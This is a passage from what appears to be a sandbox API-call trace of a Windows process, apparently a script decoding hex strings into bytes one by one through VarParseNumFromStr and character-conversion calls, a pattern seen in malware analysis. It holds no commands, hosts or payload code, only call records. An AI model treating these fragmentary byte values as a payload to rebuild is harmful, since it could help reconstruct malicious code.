lpUsedDefaultChar=0x0) returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.778] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.778] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.779] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.779] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.779] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.779] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.780] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.780] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.781] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.781] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.781] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.781] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.782] VarParseNumFromStr (in: strIn="&H80", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.782] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="€") returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x80", lpUsedDefaultChar=0x0) returned 1 [0061.783] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.783] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0061.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 1 [0061.783] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.783] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.784] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.784] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.785] VarParseNumFromStr (in: strIn="&HC3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.785] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="Ã") returned 1 [0061.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ã", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ã", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ã", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ã", lpUsedDefaultChar=0x0) returned 1 [0061.785] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.786] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.786] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.786] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.787] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.787] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.788] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.788] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.788] VarParseNumFromStr (in: strIn="&HB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.788] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="\x0b") returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0b", lpUsedDefaultChar=0x0) returned 1 [0061.789] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.789] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.790] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.790] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.790] VarParseNumFromStr (in: strIn="&HF6", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.790] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="ö") returned 1 [0061.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ö", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ö", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ö", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ö", lpUsedDefaultChar=0x0) returned 1 [0061.791] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.791] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.791] WideCharToMultiByte (in: 